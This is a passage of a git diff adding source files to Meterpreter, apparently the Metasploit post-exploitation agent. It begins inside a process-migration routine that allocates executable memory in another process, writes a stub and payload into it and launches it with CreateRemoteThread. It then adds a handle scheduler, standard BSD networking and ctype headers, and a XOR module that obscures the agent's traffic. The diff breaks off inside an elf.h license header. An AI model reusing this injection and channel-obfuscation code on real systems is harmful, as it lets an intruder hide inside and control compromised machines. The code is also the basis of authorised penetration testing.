context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");
|
||||
|
||||
strcpy(context.ws2_32, "ws2_32");
|
||||
|
||||
// Allocate storage for the stub and context
|
||||
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
|
||||
if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the data and code base in the target process
|
||||
codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);
|
||||
|
||||
if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Send a successful response to let them know that we've pretty much
|
||||
// successfully migrated and are reaching the point of no return
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
|
||||
// Shut down our SSL session
|
||||
// ssl_close_notify(&remote->ssl);
|
||||
// ssl_free(&remote->ssl);
|
||||
|
||||
|
||||
response = NULL;
|
||||
|
||||
// Create the thread in the remote process
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
ExitThread(result);
|
||||
}
|
||||
|
||||
// Wait at most 5 seconds for the event to be set letting us know that
|
||||
// it's finished
|
||||
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
|
||||
{
|
||||
result = GetLastError();
|
||||
ExitThread(result);
|
||||
}
|
||||
|
||||
|
||||
// Exit the current process now that we've migrated to another one
|
||||
dprintf("Shutting down the Meterpreter thread...");
|
||||
ExitThread(0);
|
||||
|
||||
} while (0);
|
||||
|
||||
// If we failed and have not sent the response, do so now
|
||||
if (result != ERROR_SUCCESS && response)
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
// Cleanup
|
||||
if (process)
|
||||
CloseHandle(process);
|
||||
if (thread)
|
||||
CloseHandle(thread);
|
||||
if (event)
|
||||
CloseHandle(event);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
169
c/meterpreter/source/ulibc/arch/win/scheduler.c
Normal file
169
c/meterpreter/source/ulibc/arch/win/scheduler.c
Normal file
@ -0,0 +1,169 @@
|
||||
#include "common.h"
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
HANDLE waitable;
|
||||
LPVOID context;
|
||||
WaitableNotifyRoutine routine;
|
||||
} WaitableEntry;
|
||||
|
||||
WaitableEntry *waitableArray = NULL;
|
||||
HANDLE *waitableHandleArray = NULL;
|
||||
HANDLE schedulerWakeUpEvent = NULL;
|
||||
DWORD numWaitableEntries = 0;
|
||||
|
||||
/*
|
||||
* Rebuilds the handle array
|
||||
*/
|
||||
VOID scheduler_build_handle_array()
|
||||
{
|
||||
DWORD index = 0;
|
||||
|
||||
if (!schedulerWakeUpEvent)
|
||||
schedulerWakeUpEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
|
||||
if (waitableHandleArray)
|
||||
free(waitableHandleArray);
|
||||
|
||||
waitableHandleArray = (HANDLE *)malloc((numWaitableEntries+1) *
|
||||
sizeof(HANDLE));
|
||||
|
||||
if (waitableHandleArray)
|
||||
{
|
||||
for (index = 0;
|
||||
index < numWaitableEntries;
|
||||
index++)
|
||||
waitableHandleArray[index] = waitableArray[index].waitable;
|
||||
|
||||
// Finally, add the wake up event to the mix.
|
||||
waitableHandleArray[index] = schedulerWakeUpEvent;
|
||||
}
|
||||
|
||||
if (schedulerWakeUpEvent)
|
||||
SetEvent(schedulerWakeUpEvent);
|
||||
}
|
||||
|
||||
/*
|
||||
* Insert a waitable object for checking and processing
|
||||
*/
|
||||
DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine)
|
||||
{
|
||||
WaitableEntry *newArray = NULL;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
// Allocate space for storing the handle in the waitable array
|
||||
if (!waitableArray)
|
||||
{
|
||||
if (!(newArray = (WaitableEntry *)malloc(
|
||||
sizeof(WaitableEntry))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (!(newArray = (WaitableEntry *)realloc(waitableArray,
|
||||
sizeof(WaitableEntry) * (numWaitableEntries+1))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Put the waitable handle into the waitable handle array
|
||||
newArray[numWaitableEntries].waitable = waitable;
|
||||
newArray[numWaitableEntries].context = context;
|
||||
newArray[numWaitableEntries].routine = routine;
|
||||
waitableArray = newArray;
|
||||
|
||||
// Increment the number of entries
|
||||
numWaitableEntries++;
|
||||
|
||||
} while (0);
|
||||
|
||||
scheduler_build_handle_array();
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a waitable object
|
||||
*/
|
||||
DWORD scheduler_remove_waitable(HANDLE waitable)
|
||||
{
|
||||
DWORD index = 0, numItemsToRemove = 0;
|
||||
WaitableEntry *newArray = NULL;
|
||||
BOOL found = FALSE;
|
||||
|
||||
// Enumerate the waitable handle array, flushing out all
|
||||
// entries with the provided handle
|
||||
for (index = 0;
|
||||
index < numWaitableEntries;
|
||||
index++)
|
||||
{
|
||||
if (waitableArray[index].waitable != waitable)
|
||||
continue;
|
||||
|
||||
waitableArray[index].waitable = NULL;
|
||||
|
||||
numItemsToRemove++;
|
||||
|
||||
found = TRUE;
|
||||
}
|
||||
|
||||
// Repopulate the array of waitable items with the provided
|
||||
// handle removed.
|
||||
if ((newArray = (WaitableEntry *)malloc(sizeof(WaitableEntry) *
|
||||
(numWaitableEntries - numItemsToRemove))))
|
||||
{
|
||||
DWORD newIndex;
|
||||
|
||||
for (index = 0, newIndex = 0;
|
||||
index < numWaitableEntries;
|
||||
index++)
|
||||
{
|
||||
if (!waitableArray[index].waitable)
|
||||
continue;
|
||||
|
||||
newArray[newIndex++] = waitableArray[index];
|
||||
}
|
||||
|
||||
// Destroy the waitable array
|
||||
free(waitableArray);
|
||||
|
||||
// Set the waitable array to the new array
|
||||
waitableArray = newArray;
|
||||
numWaitableEntries -= numItemsToRemove;
|
||||
}
|
||||
|
||||
scheduler_build_handle_array();
|
||||
|
||||
return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
|
||||
}
|
||||
|
||||
/*
|
||||
* Runs the scheduler, checking waitable objects for data
|
||||
*/
|
||||
DWORD scheduler_run(Remote *remote, DWORD timeout)
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
if (waitableHandleArray)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
res = WaitForMultipleObjects(numWaitableEntries + 1,
|
||||
waitableHandleArray, FALSE, timeout);
|
||||
|
||||
// If one of the objects signaled data
|
||||
if ((res >= WAIT_OBJECT_0) &&
|
||||
((index = res - WAIT_OBJECT_0) < numWaitableEntries))
|
||||
res = waitableArray[index].routine(remote,
|
||||
waitableArray[index].context);
|
||||
else if (res >= WAIT_OBJECT_0)
|
||||
res = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
182
c/meterpreter/source/ulibc/arpa/inet.h
Normal file
182
c/meterpreter/source/ulibc/arpa/inet.h
Normal file
@ -0,0 +1,182 @@
|
||||
/*
|
||||
* ++Copyright++ 1983, 1993
|
||||
* -
|
||||
* Copyright (c) 1983, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
* -
|
||||
* Portions Copyright (c) 1993 by Digital Equipment Corporation.
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies, and that
|
||||
* the name of Digital Equipment Corporation not be used in advertising or
|
||||
* publicity pertaining to distribution of the document or software without
|
||||
* specific, written prior permission.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL
|
||||
* WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT
|
||||
* CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
|
||||
* DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
|
||||
* PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
|
||||
* ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
|
||||
* SOFTWARE.
|
||||
* -
|
||||
* --Copyright--
|
||||
*/
|
||||
|
||||
/*%
|
||||
* @(#)inet.h 8.1 (Berkeley) 6/2/93
|
||||
* $Id: inet.h,v 1.2.18.1 2005/04/27 05:00:50 sra Exp $
|
||||
* $FreeBSD: head/include/arpa/inet.h 189806 2009-03-14 19:00:16Z das $
|
||||
*/
|
||||
|
||||
#ifndef _ARPA_INET_H_
|
||||
#define _ARPA_INET_H_
|
||||
|
||||
/* External definitions for functions in inet(3), addr2ascii(3) */
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
/* Required for byteorder(3) functions. */
|
||||
#include <machine/endian.h>
|
||||
|
||||
#define INET_ADDRSTRLEN 16
|
||||
#define INET6_ADDRSTRLEN 46
|
||||
|
||||
#ifndef _UINT16_T_DECLARED
|
||||
typedef __uint16_t uint16_t;
|
||||
#define _UINT16_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _UINT32_T_DECLARED
|
||||
typedef __uint32_t uint32_t;
|
||||
#define _UINT32_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _IN_ADDR_T_DECLARED
|
||||
typedef uint32_t in_addr_t;
|
||||
#define _IN_ADDR_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _IN_PORT_T_DECLARED
|
||||
typedef uint16_t in_port_t;
|
||||
#define _IN_PORT_T_DECLARED
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#ifndef _SIZE_T_DECLARED
|
||||
typedef __size_t size_t;
|
||||
#define _SIZE_T_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/*
|
||||
* XXX socklen_t is used by a POSIX.1-2001 interface, but not required by
|
||||
* POSIX.1-2001.
|
||||
*/
|
||||
#ifndef _SOCKLEN_T_DECLARED
|
||||
typedef __socklen_t socklen_t;
|
||||
#define _SOCKLEN_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _STRUCT_IN_ADDR_DECLARED
|
||||
struct in_addr {
|
||||
in_addr_t s_addr;
|
||||
};
|
||||
#define _STRUCT_IN_ADDR_DECLARED
|
||||
#endif
|
||||
|
||||
/* XXX all new diversions!! argh!! */
|
||||
#if __BSD_VISIBLE
|
||||
#define inet_addr __inet_addr
|
||||
#define inet_aton __inet_aton
|
||||
#define inet_lnaof __inet_lnaof
|
||||
#define inet_makeaddr __inet_makeaddr
|
||||
#define inet_neta __inet_neta
|
||||
#define inet_netof __inet_netof
|
||||
#define inet_network __inet_network
|
||||
#define inet_net_ntop __inet_net_ntop
|
||||
#define inet_net_pton __inet_net_pton
|
||||
#define inet_cidr_ntop __inet_cidr_ntop
|
||||
#define inet_cidr_pton __inet_cidr_pton
|
||||
#define inet_ntoa __inet_ntoa
|
||||
#define inet_ntoa_r __inet_ntoa_r
|
||||
#define inet_pton __inet_pton
|
||||
#define inet_ntop __inet_ntop
|
||||
#define inet_nsap_addr __inet_nsap_addr
|
||||
#define inet_nsap_ntoa __inet_nsap_ntoa
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
__BEGIN_DECLS
|
||||
#ifndef _BYTEORDER_PROTOTYPED
|
||||
#define _BYTEORDER_PROTOTYPED
|
||||
uint32_t htonl(uint32_t);
|
||||
uint16_t htons(uint16_t);
|
||||
uint32_t ntohl(uint32_t);
|
||||
uint16_t ntohs(uint16_t);
|
||||
#endif
|
||||
|
||||
in_addr_t inet_addr(const char *);
|
||||
/*const*/ char *inet_ntoa(struct in_addr);
|
||||
const char *inet_ntop(int, const void * __restrict, char * __restrict,
|
||||
socklen_t);
|
||||
int inet_pton(int, const char * __restrict, void * __restrict);
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
int inet_aton(const char *, struct in_addr *);
|
||||
in_addr_t inet_lnaof(struct in_addr);
|
||||
struct in_addr inet_makeaddr(in_addr_t, in_addr_t);
|
||||
char * inet_neta(in_addr_t, char *, size_t);
|
||||
in_addr_t inet_netof(struct in_addr);
|
||||
in_addr_t inet_network(const char *);
|
||||
char *inet_net_ntop(int, const void *, int, char *, size_t);
|
||||
int inet_net_pton(int, const char *, void *, size_t);
|
||||
char *inet_ntoa_r(struct in_addr, char *buf, socklen_t size);
|
||||
char *inet_cidr_ntop(int, const void *, int, char *, size_t);
|
||||
int inet_cidr_pton(int, const char *, void *, int *);
|
||||
unsigned inet_nsap_addr(const char *, unsigned char *, int);
|
||||
char *inet_nsap_ntoa(int, const unsigned char *, char *);
|
||||
#endif /* __BSD_VISIBLE */
|
||||
__END_DECLS
|
||||
|
||||
#ifndef _BYTEORDER_FUNC_DEFINED
|
||||
#define _BYTEORDER_FUNC_DEFINED
|
||||
#define htonl(x) __htonl(x)
|
||||
#define htons(x) __htons(x)
|
||||
#define ntohl(x) __ntohl(x)
|
||||
#define ntohs(x) __ntohs(x)
|
||||
#endif
|
||||
|
||||
#endif /* !_ARPA_INET_H_ */
|
||||
|
||||
/*! \file */
|
126
c/meterpreter/source/ulibc/crypto/xor.c
Normal file
126
c/meterpreter/source/ulibc/crypto/xor.c
Normal file
@ -0,0 +1,126 @@
|
||||
#include "common.h"
|
||||
|
||||
#define TLV_TYPE_XOR_KEY \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
0, \
|
||||
1)
|
||||
|
||||
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength);
|
||||
|
||||
/*
|
||||
* Populates the crypto context's handlers for XOR
|
||||
*/
|
||||
DWORD xor_populate_handlers(CryptoContext *context)
|
||||
{
|
||||
context->extension = NULL;
|
||||
context->handlers.process_negotiate_request = xor_process_negotiate_request;
|
||||
context->handlers.encrypt = xor_encrypt;
|
||||
context->handlers.decrypt = xor_decrypt;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Processes a negotiate request that has been sent from the remote endpoint
|
||||
*/
|
||||
DWORD xor_process_negotiate_request(CryptoContext *context,
|
||||
Packet *request)
|
||||
{
|
||||
Tlv cipherParameters, xorKey;
|
||||
DWORD res = ERROR_INVALID_PARAMETER;
|
||||
|
||||
memset(&xorKey, 0, sizeof(xorKey));
|
||||
|
||||
// If valid parameters were supplied
|
||||
if ((packet_get_tlv(request, TLV_TYPE_CIPHER_PARAMETERS,
|
||||
&cipherParameters) == ERROR_SUCCESS) &&
|
||||
(packet_get_tlv_group_entry(request, &cipherParameters,
|
||||
TLV_TYPE_XOR_KEY, &xorKey) == ERROR_SUCCESS) &&
|
||||
(xorKey.header.length >= sizeof(DWORD)))
|
||||
{
|
||||
// Set the XOR key to what has been supplied to us
|
||||
#ifdef _WIN32
|
||||
context->extension = (LPVOID)ntohl(*(LPDWORD)xorKey.buffer);
|
||||
#else
|
||||
context->extension = (LPVOID)(uintptr_t)ntohl(*(LPDWORD)xorKey.buffer);
|
||||
#endif
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Encrypts the supplied buffer
|
||||
*/
|
||||
DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength)
|
||||
{
|
||||
return xor_crypt(context, inBuffer, inBufferLength, outBuffer,
|
||||
outBufferLength);
|
||||
}
|
||||
|
||||
/*
|
||||
* Decrypts the supplied buffer
|
||||
*/
|
||||
DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength)
|
||||
{
|
||||
return xor_crypt(context, inBuffer, inBufferLength, outBuffer,
|
||||
outBufferLength);
|
||||
}
|
||||
|
||||
/*
|
||||
* Performs an XOR operation on every 4 byte block of the supplied buffer
|
||||
*/
|
||||
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength)
|
||||
{
|
||||
DWORD newLength = inBufferLength, remainder = inBufferLength % 4, offset = 0;
|
||||
PUCHAR newBuffer = NULL;
|
||||
LPDWORD currentIn, currentOut;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
DWORD key = (DWORD)context->extension;
|
||||
|
||||
if (remainder)
|
||||
newLength += 4 - remainder;
|
||||
|
||||
do
|
||||
{
|
||||
// No memory?
|
||||
if (!(newBuffer = (PUCHAR)malloc(newLength)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// We assume that though the input buffer may not align on a 4 byte
|
||||
// boundary, its allocated unit should. Given that, we don't care what
|
||||
// the overflow bytes are. Anyone see anything wrong w/ this?
|
||||
for (currentIn = (LPDWORD)inBuffer, currentOut = (LPDWORD)newBuffer, offset = 0;
|
||||
offset < newLength;
|
||||
currentIn++, currentOut++, offset += 4)
|
||||
*currentOut = *currentIn ^ key;
|
||||
|
||||
} while (0);
|
||||
|
||||
// Did we fail or what?
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (newBuffer)
|
||||
free(newBuffer);
|
||||
|
||||
newBuffer = NULL;
|
||||
}
|
||||
|
||||
// Populate our out pointers
|
||||
if (outBuffer)
|
||||
*outBuffer = newBuffer;
|
||||
if (outBufferLength)
|
||||
*outBufferLength = newLength;
|
||||
|
||||
return res;
|
||||
}
|
13
c/meterpreter/source/ulibc/crypto/xor.h
Normal file
13
c/meterpreter/source/ulibc/crypto/xor.h
Normal file
@ -0,0 +1,13 @@
|
||||
#ifndef _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H
|
||||
#define _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H
|
||||
|
||||
DWORD xor_populate_handlers(CryptoContext *context);
|
||||
|
||||
DWORD xor_process_negotiate_request(CryptoContext *context,
|
||||
struct _Packet *request);
|
||||
DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength);
|
||||
DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
|
||||
PUCHAR *outBuffer, PULONG outBufferLength);
|
||||
|
||||
#endif
|
133
c/meterpreter/source/ulibc/ctype.h
Normal file
133
c/meterpreter/source/ulibc/ctype.h
Normal file
@ -0,0 +1,133 @@
|
||||
/*
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
* (c) UNIX System Laboratories, Inc.
|
||||
* All or some portions of this file are derived from material licensed
|
||||
* to the University of California by American Telephone and Telegraph
|
||||
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
* the permission of UNIX System Laboratories, Inc.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Paul Borman at Krystal Technologies.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)ctype.h 8.4 (Berkeley) 1/21/94
|
||||
* $FreeBSD: head/include/ctype.h 189811 2009-03-14 19:04:24Z das $
|
||||
*/
|
||||
|
||||
#ifndef _CTYPE_H_
|
||||
#define _CTYPE_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
#include <_ctype.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
int isalnum(int);
|
||||
int isalpha(int);
|
||||
int iscntrl(int);
|
||||
int isdigit(int);
|
||||
int isgraph(int);
|
||||
int islower(int);
|
||||
int isprint(int);
|
||||
int ispunct(int);
|
||||
int isspace(int);
|
||||
int isupper(int);
|
||||
int isxdigit(int);
|
||||
int tolower(int);
|
||||
int toupper(int);
|
||||
|
||||
#if __XSI_VISIBLE
|
||||
int isascii(int);
|
||||
int toascii(int);
|
||||
#endif
|
||||
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
int isblank(int);
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
int digittoint(int);
|
||||
int ishexnumber(int);
|
||||
int isideogram(int);
|
||||
int isnumber(int);
|
||||
int isphonogram(int);
|
||||
int isrune(int);
|
||||
int isspecial(int);
|
||||
#endif
|
||||
__END_DECLS
|
||||
|
||||
#define isalnum(c) __sbistype((c), _CTYPE_A|_CTYPE_D)
|
||||
#define isalpha(c) __sbistype((c), _CTYPE_A)
|
||||
#define iscntrl(c) __sbistype((c), _CTYPE_C)
|
||||
#define isdigit(c) __isctype((c), _CTYPE_D) /* ANSI -- locale independent */
|
||||
#define isgraph(c) __sbistype((c), _CTYPE_G)
|
||||
#define islower(c) __sbistype((c), _CTYPE_L)
|
||||
#define isprint(c) __sbistype((c), _CTYPE_R)
|
||||
#define ispunct(c) __sbistype((c), _CTYPE_P)
|
||||
#define isspace(c) __sbistype((c), _CTYPE_S)
|
||||
#define isupper(c) __sbistype((c), _CTYPE_U)
|
||||
#define isxdigit(c) __isctype((c), _CTYPE_X) /* ANSI -- locale independent */
|
||||
#define tolower(c) __sbtolower(c)
|
||||
#define toupper(c) __sbtoupper(c)
|
||||
|
||||
#if __XSI_VISIBLE
|
||||
/*
|
||||
* POSIX.1-2001 specifies _tolower() and _toupper() to be macros equivalent to
|
||||
* tolower() and toupper() respectively, minus extra checking to ensure that
|
||||
* the argument is a lower or uppercase letter respectively. We've chosen to
|
||||
* implement these macros with the same error checking as tolower() and
|
||||
* toupper() since this doesn't violate the specification itself, only its
|
||||
* intent. We purposely leave _tolower() and _toupper() undocumented to
|
||||
* discourage their use.
|
||||
*
|
||||
* XXX isascii() and toascii() should similarly be undocumented.
|
||||
*/
|
||||
#define _tolower(c) __sbtolower(c)
|
||||
#define _toupper(c) __sbtoupper(c)
|
||||
#define isascii(c) (((c) & ~0x7F) == 0)
|
||||
#define toascii(c) ((c) & 0x7F)
|
||||
#endif
|
||||
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
#define isblank(c) __sbistype((c), _CTYPE_B)
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#define digittoint(c) __sbmaskrune((c), 0xFF)
|
||||
#define ishexnumber(c) __sbistype((c), _CTYPE_X)
|
||||
#define isideogram(c) __sbistype((c), _CTYPE_I)
|
||||
#define isnumber(c) __sbistype((c), _CTYPE_D)
|
||||
#define isphonogram(c) __sbistype((c), _CTYPE_Q)
|
||||
#define isrune(c) __sbistype((c), 0xFFFFFF00L)
|
||||
#define isspecial(c) __sbistype((c), _CTYPE_T)
|
||||
#endif
|
||||
|
||||
#endif /* !_CTYPE_H_ */
|
40
c/meterpreter/source/ulibc/elf.h
Normal file
40
c/meterpreter/source/ulibc/elf.h
Normal file
@ -0,0 +1,40 @@
|
||||
/*-
|
||||
* Copyright (c) 2001 David E. O'Brien.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
